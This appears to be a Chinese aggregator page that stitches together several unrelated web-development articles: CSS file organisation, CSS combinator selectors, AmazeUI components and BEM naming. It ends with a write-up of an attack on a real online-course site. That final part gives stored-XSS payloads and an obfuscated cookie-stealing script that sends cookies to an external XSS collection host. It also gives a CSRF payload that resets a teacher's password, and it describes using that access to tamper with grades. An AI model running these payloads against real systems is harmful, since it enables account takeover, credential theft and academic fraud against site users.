GVKun编程网logo

CSS组织/结构(css样式有几种组织形式)

3

在本文中,我们将带你了解CSS组织/结构在这篇文章中,我们将为您详细介绍CSS组织/结构的方方面面,并解答css样式有几种组织形式常见的疑惑,同时我们还将给您一些技巧,以帮助您实现更有效的5、CSS组

在本文中,我们将带你了解CSS组织/结构在这篇文章中,我们将为您详细介绍CSS组织/结构的方方面面,并解答css样式有几种组织形式常见的疑惑,同时我们还将给您一些技巧,以帮助您实现更有效的5、CSS组合选择器、amazeui中css组件、js组件、web组件的区别、Atitit.css 规范 bem 项目中 CSS 的组织和管理_html/css_WEB-ITnose、Csrf+Xss组合拳

本文目录一览:

CSS组织/结构(css样式有几种组织形式)

CSS组织/结构(css样式有几种组织形式)

我一直在努力寻找组织CSS代码的最佳方法,特别是在大型网站上.我对编写风格以及人们如何构建和管理代码的兴趣不大.

我一直在关注这种结构,我觉得它的可维护性很好,但我想对此有所了解并听取其他方法:

/*=======================================
 1. =reset
=======================================*/
/**
 Anything but * reset
**/

/*=======================================
 2. =base
=======================================*/
/**
 Base rules so naked HTML has basic style and displays consistently x-browser
**/

/*=======================================
 3. =base forms
=======================================*/
/**
 Base form framework
**/

/*=======================================
 4. =base site
=======================================*/
/**
 Rules common across the majority of pages
 e.g. header,footer,main columns,navigation,search bar etc.
**/

/*=======================================
 5. =recurring styles
=======================================*/
/**
 Re-useable snippets -- not to include positioning / structure etc.
 e.g. buttons,icons etc.
**/

/*=======================================
 6. =recurring modules
=======================================*/
/**
 Re-usable modules common to multiple pages/views but not majority
 e.g. a product carousel Could be on the homepage as well as the product page and maybe even the checkout page etc.
**/

/*=======================================
 7. =homepage
=======================================*/
/**
 contains rules only applicable to homepage
**/

/*=======================================
 8. =about page
=======================================*/
/**
 contains rules only applicable to about page
**/

/*=======================================
 9. =contact page
=======================================*/
/**
 contains rules only applicable to contact page
**/

...and so on

任何想法将不胜感激.

丰富

最佳答案
我的基本格式是顶部的块注释,并带有标题注释(与您的类似)潜入主要区域.

/*
 * Title of the site
 * Author
 * Date created
 * Last updated
 * 
 * 1-2 line description of what the style sheet is for. 
 *
 */


/* Reset (probably imported)
-------------------------------------------------------------------------------- */
...


/* A Framework (probably imported)
-------------------------------------------------------------------------------- */
I like YUI Grids


/* Global
-------------------------------------------------------------------------------- */
Styles for basic elements like: body,h1-h6,p,ul,li,...,and often a wrapper.


/* Header
-------------------------------------------------------------------------------- */
Any styles specifically for the header block (this is usually short)


/* Body
-------------------------------------------------------------------------------- */
Basic layout for the main body block


/* Footer
-------------------------------------------------------------------------------- */
Similar to header


/* Utility Classes
-------------------------------------------------------------------------------- */
Things like 
.align-center { text-align: center; };
.hide { display: none !important; }
...


/* Specific Pages
-------------------------------------------------------------------------------- */
Those are my usual subsections (separated by 2 line breaks).  Beyond that,short 
rules that only apply to a certain page or subset of pages will get a section like 
this.

还有一些提示:

缩进特定小节的后代.*

div#left-col { ... }

    * html #left-col { ... }

    #left-col p { ... }

    #left-col ul { ... }

        * html #left-col ul { ... }

        #left-col li { ... }

*但是keep rules efficient与选择器中包含的后代数量.通常,我会写:

div#left-col li span { font-weight: bold; }

代替:

div#left-col ul li a span { font-weight: bold; }

请记住,这正在改变规则选择的内容,但只要它适用于您的页面并且可维护,就可以了.

字母表属性.

body {
    color: #ccc;
    font-family: Helvetica,Arial,sans-serif;
    padding: 2em;
    -webkit-something: some value;
}

将短规则折叠为1行(如果它不会损害可维护性).

div#left { float: left; margin-top: 30px; width: 300px; }

5、CSS组合选择器

5、CSS组合选择器

CSS组合选择器

组合选择器:把基本选择器通过特殊符号串在一起,串起来之后能带来一些特定的意义。

组合选择器中主要需要掌握的有4个:

(1) 分组选择器

格式:选择器1,选择器2,选择器3 {声明}

意义:使用 “,” 将多个基本选择器连在一起,表示 这些选择器 所对应的元素 都使用这个声明中的样式。

  • 代码

    html

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <Meta charset="UTF-8">
        <title>组合选择器</title>
        <link rel="stylesheet" href="css-combine-selector.css">
    </head>
    <body>
        <div>div1</div>
        <p>p1</p>
    </body>
    </html>
    

    css

    div,p {
        background: green;
        color: red;
    }
    p {
        font-size: 60px;
    }
    

    效果:

    这里div标签和p标签都有绿色的背景颜色及红色的字体颜色,另外p标签还单独有60px的字体大小。





(2) 嵌套选择器

格式:选择器1 选择器2 {声明}

意义:使用 空格 将多个基本选择器连在一起,表示 嵌套在 选择器1 中的 选择器2 所对应的元素 使用这个声明中的样式。

​          (无论选择器2被嵌套在第几级,只要它往上能找到是被选择器1嵌套着,那就都可以使用样式)

  • 代码

    html

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <Meta charset="UTF-8">
        <title>组合选择器</title>
        <link rel="stylesheet" href="css-combine-selector.css">
    </head>
    <body>
        <div>
            div1
            <p>p2</p>
            <ul>
                <li>
                    <p>p3</p>
                </li>
            </ul>
        </div>
        <p>p1</p>
    </body>
    </html>
    

    css

    div p {
        background: green;
        color: red;
        font-size: 60px;
    }
    

    效果:

    这里内容”p2“和”p3“都嵌套在< div >中,因此都使用了样式,而其他的内容没有被< div >嵌套,并没有使用样式。





(3) 子选择器

格式:选择器1>选择器2

意义:使用 “>” 将多个基本选择器连在一起,表示 父标签 必须是 选择器1 的 选择器2 所对应的元素 使用这个声明中的样式。

  • 代码

    html

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <Meta charset="UTF-8">
        <title>组合选择器</title>
        <link rel="stylesheet" href="css-combine-selector.css">
    </head>
    <body>
        <div>
            div1
            <p>p2</p>
            <ul>
                <li>
                    <p>p3</p>
                </li>
            </ul>
        </div>
        <p>p1</p>
    </body>
    </html>
    

    css

    div>p {
        background: green;
        color: red;
        font-size: 60px;
    }
    

    效果:

    这里“p2”内容的父标签是< div >,因此使用了样式。

    而内容“div1”、“p1”的父标签是< body >,内容“p3”的父标签是< li >,所以没有使用样式。





(4) 相邻同级选择器

格式:选择器1+选择器2 {声明}

意义:使用 “+” 将多个基本选择器连在一起,表示 与 选择器1所对应元素 位于同一级的 选择器2所对应的元素 使用这个声明中的样式。

  • 代码

    html

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <Meta charset="UTF-8">
        <title>组合选择器</title>
        <link rel="stylesheet" href="css-combine-selector.css">
    </head>
    <body>
        <div>
            div1
            <p>p2</p>
            <ul>
                <li>
                    <p>p3</p>
                </li>
            </ul>
        </div>
        <p>p1</p>
    </body>
    </html>
    

    css

    div+p {
        background: green;
        color: red;
        font-size: 60px;
    }
    

    效果:

    这里只有内容“p1”与< div >标签位于同一级,因此只有它使用了样式。

amazeui中css组件、js组件、web组件的区别

amazeui中css组件、js组件、web组件的区别

amazeui中css组件、js组件、web组件的区别

一、总结

一句话总结:

1、可直接像调用js插件那样调用:在AmazeUI(妹子UI)中,Web组件可以不编写模板而直接使用,若如此,则与JS插件没什么太大区别,官方原话也说可以这么调用的。

2、能编写自定义模板通过js代码调用:Web组件与JS插件的不同之处在于,Web组件借助 handlebars.js 实现了强大的模板功能,我们能编写自定义模板从而使Web组件更具个性,甚至是编写出新的Web组件。

 

二、amazeui中css组件、js组件、web组件的区别

AmazeUI(妹子UI)是非常优秀的国产前端UI,现在来介绍一下AmazeUI中CSS组件、JS插件与Web组件的区别。 
CSS组件顾名思义就是仅使用CSS渲染而成的组件而JS插件也很容易理解,就是由CSS渲染和JS来控制行为的组件
比较不好理解就是Web组件,好像跟JS插件意思差不多,都是CSS和JS组成的。它们到底区别在哪?我们重点来讲这个。
我们通过学习如何调用Web组件(其中的手风琴组件)来一步一步了解其与JS插件的区别。

 

示例01.Web组件-直接使用 (请下载附件查看示例)

示例中关键代码:
1 <section data-am-widget="accordion" class="am-accordion am-accordion-default">
2     <!-- 这里面还有代码,本例的大概意思就是不写JS代码,直接调用Web组件。 -->
3 </section>

 

示例02.Web组件-通过模板来调用-示例1 (请下载附件查看示例)

示例中关键代码1( 引用 handlebars.js 和 妹子ui调用handlebars.js的辅助js):
1 <!-- handlebars.js 是一个开源的js库,用于在网页上实现语义模板。 -->
2 <script src="assets/js/handlebars.min.js"></script>
3 <!-- 妹子UI调用 handlebars 的辅助类 -->
4 <script src="assets/js/amazeui.widgets.helper.js"></script>

示例中关键代码2(定义一个模板)(话说这个模板也没啥实际意义,但官方的demo就是这么写的,我只是移植了一下):

1 <script type="text/x-handlebars-template" id="my-tpl">
2     {{>accordion accordionData}}
3 </script>

示例中关键代码3(调用JS代码使其工作):

1 var $tpl = $(''#my-tpl''); //得到原始模板
2 var template = Handlebars.compile($tpl.text()),  //得到编译后的模板
3 //...这里定义了数据...代码较多...略...
4 var html = template(data); //传入数据,运行模板,得到结果
5 var $tpl.before(html); //显示结果

 

示例03.Web组件-通过模板来调用-示例2 (请下载附件查看示例)

示例中关键代码1(引用  handlebars.js 和  妹子ui调用handlebars.js的辅助js): 同上,所以省略...
示例中关键代码2(调用JS代码使其工作):
1 var template = Handlebars.compile(''{{>accordion}}''), //得到编译后的模板 (字符串就算是原始模板了)
2 var html = template(data.accordionData); //传入数据,运行模板,得到结果
3 $("#div1").before(html); //显示结果

 

示例04.Web组件-通过自定义模板来调用 (请下载附件查看示例)

示例中关键代码1(引用  handlebars.js )
  
  不一样的地方在于,这次只引用了 handlebars.js ,而没有引用 妹子ui调用handlebars.js的辅助js ,因为不需要了。
 
示例中关键代码2( 自定义原始模板):
1 <!-- 自定义原始模板 -->
2 <script type="text/x-handlebars-template" id="demo-template">
3 //这里还有很多代码,因为不关键就省略了...
4 <!-- 关键代码:添加图标 icon 属性 -->
5 {{#if icon}}<img src="{{icon}}" style="width:20px;" />{{/if}} 
6 //这里还有很多代码,因为不关键就省略了...
7 </script>

示例中关键代码3(调用JS使其工作):

 1 var demoData = { //定义数据
 2     "content": [..省略.., {
 3         "title": "标题二",
 4         "content": "内容二",
 5         "icon": "assets/i/favicon.png" //关键:多出一个icon属性
 6     }, ..省略..]
 7 };
 8 var demoTemplate = Handlebars.compile($("#demo-template").html()); //得到编译后的模板
 9 var demoHtml = demoTemplate(demoData); //传入数据,运行模板,得到结果
10 $("#div1").html(demoHtml); //显示结果

 

示例05.Web组件-华瑞手风琴组件 (请下载附件查看示例)

示例中关键代码1( huarui.accordion.helper.js):
这是一个自定义Web组件的js支持文件,这个文件的编写很简单, 复制 amazeui.widgets.helper.js 改一改就好了。
 1 //注册一个新组件,名叫:hr-accordion
 2 hbs.registerPartial(''hr-accordion'', ''\
 3 {{#this}}\
 4 <section data-am-widget="accordion"{{#if id}} id="{{id}}" {{/if}} data-am-accordion=\''{ {{#if options.multiple}}"multiple": true{{/if}} }\''>\
 5     {{#each content}}\
 6     <dl>\
 7         <dt>\
 8             <!-- 添加图标的关键代码 -->\
 9             {{#if icon}}<img src="{{icon}}"/>{{/if}}\
10             {{{title}}}\
11                 </dt>\
12                 <dd>\
13                     <div>\
14                         {{{content}}}\
15                     </div>\
16                 </dd>\
17             </dl>\
18     {{/each}}\
19 </section>\
20 {{/this}}'');

示例中关键代码2(引用相关js文件):

1 <!-- handlebars.js 是一个开源的js库,用于在网页上实现语义模板。 -->
2 <script src="assets/js/handlebars.min.js"></script>
3 <!-- 华瑞手风琴组件,调用 handlebars.js 的辅助类 -->
4 <script src="assets/js/huarui.accordion.helper.js"></script>

示例中关键代码3(调用JS使其工作):

 1 var demoData = {  //定义数据
 2     "content": [..略.., {
 3         "title": "标题二",
 4         "content": "内容二",
 5         "icon": "assets/i/favicon.png" //关键:多出一个icon属性
 6     }, ..略..]
 7 };
 8 //得到编译后的模板,传入数据,运行模板,得到结果
 9 var demoHtml = Handlebars.compile(''{{>hr-accordion}}'')(demoData); 
10 $("#div1").html(demoHtml); //显示结果

 

看完以上的示例,得出结论:

在AmazeUI(妹子UI)中,Web组件可以不编写模板而直接使用,若如此,则与JS插件没什么太大区别,官方原话也说可以这么调用的。
Web组件与JS插件的不同之处在于,Web组件借助 handlebars.js 实现了强大的模板功能,我们能编写自定义模板从而使Web组件更具个性,甚至是编写出新的Web组件。

下载附件:AmazeUI的Web组件.zip

 

Atitit.css 规范 bem  项目中 CSS 的组织和管理_html/css_WEB-ITnose

Atitit.css 规范 bem 项目中 CSS 的组织和管理_html/css_WEB-ITnose

atitit.css 规范 bem  项目中 css 的组织和管理

 

 

1. 什么是BEM?1

1.1. 块(Block)2

立即学习“前端免费学习笔记(深入)”;

1.2. 元素(Element)2

1.3. BEM树(和DOM树类似)。3

1.4. 修饰符(modifier)的3

2. 块的独立性4

3. 独立的CSS4

3.1. 为独立的CSS类命名5

4. BEM争议最大的就是它的命名风格 6

5. OOCSS6

6. ACSS6

7. CSS 组织和管理 结论attilax总结7

8. Atibem7

8.1. Modifier 不用bem方式,太繁琐。使用我们经常写的 .current .active 等表达状态7

8.2. Block的命名很好。7

8.3. Element的命名8

9. 是否使用 SASS 或 LESS 这样的 CSS 预处理语言来编写???8

10. 参考8

 

 

 

1.  什么是BEM?

BEM代表块(Block),元素(Element),修饰符(Modifier)。这些术语的含意将在本文进一步阐述。

编程方法论中一个最常见的例子就是面向对象编程(OOP)。这一编程范例出现在许多语言中。在某种程度上,BEM和OOP是相似的。它是一种用代码和一系列模式来描述现实情况的方法,它只考虑程序实体而无所谓使用什么编程语言。

Yandex是一个大公司(在俄罗斯),它使用BEM方法论来开发它的服务。

BEM 是一种前端项目开发的方法学,由 Yandex 公司提出。BEM 的名称来源于该方法学的三个组成部分的英文首字母,分别是块(Block)、元素(Element)和修饰符(Modifier)。这三个不同的组成部分称为 BEM 实体。

 

 

1.1. 块(Block)

一个块是一个独立的实体,就像应用的一块“积木”。一个块既可以是简单的也可以是复合的(包含其他块)。

 

块即是通常所说的 Web 应用开发中的组件或模块。每个块在逻辑上和功能上都是相互独立的。块中封装了组件相关的 JavaScript、CSS 代码和 HTML 模板。由于块是独立的,可以在应用开发中进行复用,从而降低代码重复并提高开发效率。块可以放置在页面上的任何位置,也可以互相嵌套。同一个块可以在页面上存在多个实例。块的不同实例具有相似的结构。一个典型的块的示例是菜单。一个项目中可以有多个不同的菜单,具体相似的结构和样式。

元素

元素是块中的组成部分。元素不能离开块来使用。BEM 不推荐在元素中嵌套其他元素。在菜单块中,每个菜单项是块中的元素。

 

1.2. 元素(Element)

一个元素是块的一部分,具有某种功能。元素是依赖上下文的:它们只有处于他们应该属于的块的上下文中时才是有意义的。

例如一个输入域和一个按钮是Search块的中的元素。

一个Block下的所有Element无论相互层级如何,都要摊开扁平的属于Block
所以 BEM 最多只有 B+E+M 三级,不可能出现 B+E+E+..+E+M 超长class名,也要求E不能同名

1.3. BEM树(和DOM树类似)。

通过把模板转换(使用XSL或是JavaScript)应用到BEM树上生成最终的浏览器标签。

 

1.4. 修饰符(modifier)的

为了避免开发一个和现有的块只稍微有点不同的另一个块,我们引入修饰符(modifier)的概念。

修饰符作为一个块或是一个元素的一种属性,代表这个块或这个元素在外观或是行为上的改变。

一个修饰符有一个名字和一个值。多个修饰符可以同时使用。

 

2.  块的独立性

随着一个项目的发展,我们常常会在页面中添加,删除,或者是移动一些块。例如,你可能想要互换Logo和Auth块,或者把Menu放到Search块下面。

为了让这个过程更加简化,块必须是独立的。

一个独立的块可以放置在页面的任意位置 ,包括嵌套在其他块里。

3.  独立的CSS

从CSS的角度来看:

BEM是不允许用标签选择器的,一开始难以接受... .menu li 能搞定的事情需要每个 li 都写.menu-item

·  一个块(或者一个元素)必须有一个唯一的“名字”(一个CSS类)这样才能被CSS规则所作用。

·  一定不能使用ID选择器:只有类选择器才能满足我们非唯一性的需求

· 

·  HTML元素不能用作CSS选择器(如.menu td)因为这样的选择器并非是完全上下文无关的。

·  避免使用级联(cascading)选择器(译注:如.menu .item)。

3.1. 为独立的CSS类命名

下面是一种可能的CSS类命名方案:

一个块的CSS类名就是这个块的名字(block name)。

    ...

一个元素的CSS类名是一个块名和一个元素名的组合,它们中间用一些符号隔开。

        

  •     

在一个元素的CSS类名中包含一个块名是必要的,这样可以让级联最小化。

我们在长名称中使用连字符分隔单词(例如,block-name),使用两个下划线来分隔块名和元素名(block-name__element-name)。

·  可以准确地检测到具有相同行为的块,因为它们有相同的CSS类名:使用CSS类选择器,可以拣选出所有相同名字的块,方便给它们定义动态行为

· BEM 实体名称全部是小写字母或数字。名称中的不同单词用单个连字符(-)分隔。

· BEM 元素名称和块名称之间通过两个下划线(__)分隔。

· 布尔修饰符和其所修饰的实体名称之间通过两个连字符(--)来分隔。不使用名值对修饰符。

 

4.  BEM争议最大的就是它的命名风格

block + element + modifier,鼓励一级一级的写的非常具体,很长。

很违背习惯 CSS嵌套过多。超过3层就很难阅读了

5.  OOCSS

OOCSS 表示的是面向对象 CSS(Object Oriented CSS),是一种把面向对象方法学应用到 CSS 代码组织和管理中的实践。面向对象方法学中的很多理念,如模块化、单一功能原则(Single responsibility principle)和关注点分离(Separation of concerns)等,对于需要组织和管理大量 CSS 代码的应用也是适用的。OOCSS 提出了 CSS 对象的概念,用来表示重复出现的可视化模式。这些模式可以被抽象成独立的 HTML、CSS 和 JavaScript 代码片段,并在整个项目中共享。

OOCSS 有两个重要的原则:

第一个原则是把结构和外观分开。重复出现的可视化模式应该只关注外观,而与 DOM 结构无关。这就要求 CSS 对象中的每个组成部分都有名称,并在 DOM 结构中通过 CSS 类名与之对应。因此在 OOCSS 中的样式规则都是使用类别选择器,而不依赖特定的 DOM 结构。这样可以提高 CSS 对象的可复用性。

第二个原则是把容器和内容分开。这就要求在 CSS 样式中不应该出现与 DOM 树中的位置相关的规则。CSS 样式应该只关注内容,而不是 DOM 元素及其层次关系。

 

6.  ACSS

ACSS 表示的是原子化 CSS(Atomic CSS),是 Yahoo 提出来的一种独特的 CSS 代码组织方式,应用在 Yahoo 首页和其他产品中。ACSS 的独特性在于它的理念与一般开发人员的理解有很大的不同,并挑战了传统意义上编写 CSS 的最佳实践,也就是关注点分离原则。ACSS 认为关注点分离原则会导致冗余、繁琐和难以维护的 CSS 代码。

ACSS 的原则是把 CSS 样式打散成尽可能小的部分,每个 CSS 类只对应一条样式规则,从而达到最大化的可复用性。比如 CSS 类 M(10px)所对应的样式规则是 margin: 10px。在应用 CSS 样式时,只需要在把所需要的原子化 CSS 类名添加到 DOM 元素上即可。ACSS 提供了 Atomizer 工具来生成最终的 CSS 样式文件。

ACSS 的好处在于所生成的 CSS 文件只包含必须的内容,而且冗余很少,可以减少 CSS 文件的尺寸,提高性能。另外 CSS 类所对应的样式规则是不变的,这使得在不同的项目和组件之间共享 CSS 变得很容易。比如在使用传统的方式时,同样是名称为 header 的 CSS 类,其所实际表示的样式规则在不同的项目中可能完全不同。而在 ACSS 里面,名称为 M(10px)的 CSS 类所表示的样式规则永远都是 margin: 10px。ACSS 可能的缺点在于它与大多数开发人员所理解的最佳实践差异很大,可能不容易被接受。

 

7.  CSS 组织和管理 结论attilax总结

上面介绍了 BEM、OOCSS、SMACSS 和 ACSS 等几种不同的 CSS 命名规则,各有优缺点。对于开发团队来说,最重要的是找到最适合的组织和管理的方式。不需要盲目的遵循所谓的最佳实践,而是要找到最适合的方式。笔者根据个人经验推荐下面的组织和管理方式。

ACSS 的思想虽然有很多的优点,也在 Yahoo 这样的大公司得到了生产实践,但是 ACSS 的做法可能比较难以被大多数开发人员所理解,因此除非是团队的决策,否则不推荐使用。比较推荐的做法还是模块化,更容易让人所理解。

BEM通过Block、Element、Modifier来描述页面(关键就是为了解决多人协作的命名问题).这个走意义bda,可以使用cls+时间法...

8.  Atibem

8.1. Modifier 不用bem方式,太繁琐。使用我们经常写的 .current .active 等表达状态

8.2. Block的命名很好。

结构清晰,严格执行 element 和 modifier 与 block 的从属关系; block 嵌套的层次要尽量少(他能搞得定,就不要给他再搞个爹)。

不用id方式,使用唯一的class作为block标识。。这样方便复用在一个页面多个同样的block。。

8.3. Element的命名   

只命名e的。。不要和block拼接起来,这样很长。。

 

Css可以使用级联即可定义。。


 

 

 

9.  是否使用 SASS 或 LESS 这样的 CSS 预处理语言来编写???

不建议,因为这样ide dw对其的支持有限,导致预览有问题。

10.  参考

BEM的定义_BEM 教程_w3cplus.html

从 BEM 谈大型项目中 CSS 的组织和管理.html

从 BEM 谈大型项目中 CSS 的组织和管理.html

如何看待 CSS 中 BEM 的命名方式? - 张克军的回答 - 知乎.html

Csrf+Xss组合拳

Csrf+Xss组合拳

各位大师傅,第一次在合天发文章,请多多关照

1.png

今年年初的疫情确实有点突然,打乱了上半年的所有计划(本来是校内大佬带我拿奖的时刻,没了,学长毕业了,就剩下我这个小垃圾带着下一届去搞ctf了,难啊,难啊)

3.png

0x01

这个站是我疫情时候在线上网课的平台,本着对信息安全做贡献的目的下去做的这个渗透工作(咳咳,这个平台有个签到,每次签到我都在与大脑作斗争,最后争不过大脑,选择了睡觉,最后旷课太多,不搞要挂科。)

0x02

这个站简单的先用手机看了下,这种网课站我感觉xss比较好寻找一些,所以我找到的都是一些存储型xss,

先看一下第一个基本没鸟用的xss

用户个人资料处

4.png

更改姓名

Payload为<script>alert()</script>

(这个地方字数有限制,最长为24个字符)

保存,刷新页面

5.png

成功显示弹窗

经测试

1.学号

2.身份

3.学校

4.姓名处均存在存储型xss并能够弹窗

确实这个地方感觉确实没什么用,字数有限制,顶多就是在老师打开页面的时候弹出一个弹框,没鸟用啊,回头想想自己旷课的次数,md,拼了

0x03

6.png

发布新话题

测试发现

7.png

将上面全部代码进行复制

在下面编辑框中进行黏贴,直接解析为html

内容处可以执行html代码

测试发布时

 8.png

发布后访问此话题

 9.png

成功xss

进行下一步测试

进行获取cookies

在<script src=””>

这个payload无法执行

不知道是服务器问题还是什么

换用其他payload

0.png

in_str = "(function(){(new Image()).src=''http://xss.buuoj.cn/index.php?do=api&id=Mli4D9&location=''+escape((function(){try{return document.location.href}catch(e){return ''''}})())+''&toplocation=''+escape((function(){try{return top.location.href}catch(e){return ''''}})())+''&cookie=''+escape((function(){try{return document.cookie}catch(e){return ''''}})())+''&opener=''+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''''}catch(e){return ''''}})());})();if(''''==1){keep=new Image();keep.src=''http://xss.buuoj.cn/index.php?do=keepsession&id=Mli4D9&url=''+escape(document.location)+''&cookie=''+escape(document.cookie)};"

 

output = ""

 

for c in in_str:

    output += "&#" + str(ord(c))

 

print("<svg><script>eval("" + output + "")</script>")

 

 payload为

11.png

在进行测试

<svg><script>eval("(function(){(new Image()).src=''http://xss.buuoj.cn/index.php?do=api&id=Mli4D9&location=''+escape((function(){try{return document.location.href}catch(e){return ''''}})())+''&toplocation=''+escape((function(){try{return top.location.href}catch(e){return ''''}})())+''&cookie=''+escape((function(){try{return document.cookie}catch(e){return ''''}})())+''&opener=''+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''''}catch(e){return ''''}})());})();if(''''==1){keep=new Image();keep.src=''http://xss.buuoj.cn/index.php?do=keepsession&id=Mli4D9&url=''+escape(document.location)+''&cookie=''+escape(document.cookie)};")</script>

12.png

13.png 

看看xss平台

14.png

15.png 

成功获取

也可以使用其他的利用方法

 16.png

17.png

跳转钓鱼网站

在页面内这是html表单进行钓鱼

或者js挂马等等

严重程度

中危

But。。

部分Cookeis设置了http-only,拿不到老师的全部cookie。

0x04

继续测试

更改密码处没有验证原先密码

18.png

根据前面找到的xss构建payload

19.png

```

<script type="text/javascript" src="http://admin.3cjz.cn/include/jQ.js"></script>

<script> 

 

function loginSubmit() {

        $.ajax({

            url: "https://www.xxxxxxxx.com/UserApi/updatePassword", 

            type: "post",

            data: {"newpassword": "123456789"},

            dataType: "json",

            success: function (data) {

                if (data.status == "1") {    

                    

                } else {

 

                }

            },

        });

    }

loginSubmit()

</script> 

```

那么要去受害者要有兴趣去访问这个payload

20.png

作业处,受害者(例如老师,获取更大权限)老师要去更改作业

微信图片_20200727142754.png

找到在作业留言处存在存储型xss

在此处插入payload

查看效果

21.png

现在密码为123456789

登录正常

将payload的密码改为123456789.

我用的手机端(pc端似乎要抓包,懒)

22.png

23.png

提交成功

教师端进入批阅

老师的管理界面

24.png

教师端进入批阅

25.png

26.png

抓包看到

访问时,直接更新了密码

bbb.png

退出

密码为12345679时错误

vvv.png

密码为123456789.时成功

31.png

更改密码处存在csrf

联想到刚刚的存储型xss,一个csrf+xss的组合拳漏洞

0x05

最后到底有没有拿到老师权限呢

35.png

36.png

最高星星数6个

37.png

怕被发现。真带劲,哈哈

搞完手工,打包提交,以上漏洞至今为止已修复。

声明:作者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关。

实验推荐--DoraBox之CSRF

(通过DoraBox靶场系列闯关练习,理解跨站请求伪造漏洞的原理与利用过程。

喜欢文章的话快关注我们吧~第一时间获取网安干货!

今天关于CSS组织/结构css样式有几种组织形式的介绍到此结束,谢谢您的阅读,有关5、CSS组合选择器、amazeui中css组件、js组件、web组件的区别、Atitit.css 规范 bem 项目中 CSS 的组织和管理_html/css_WEB-ITnose、Csrf+Xss组合拳等更多相关知识的信息可以在本站进行查询。

本文标签: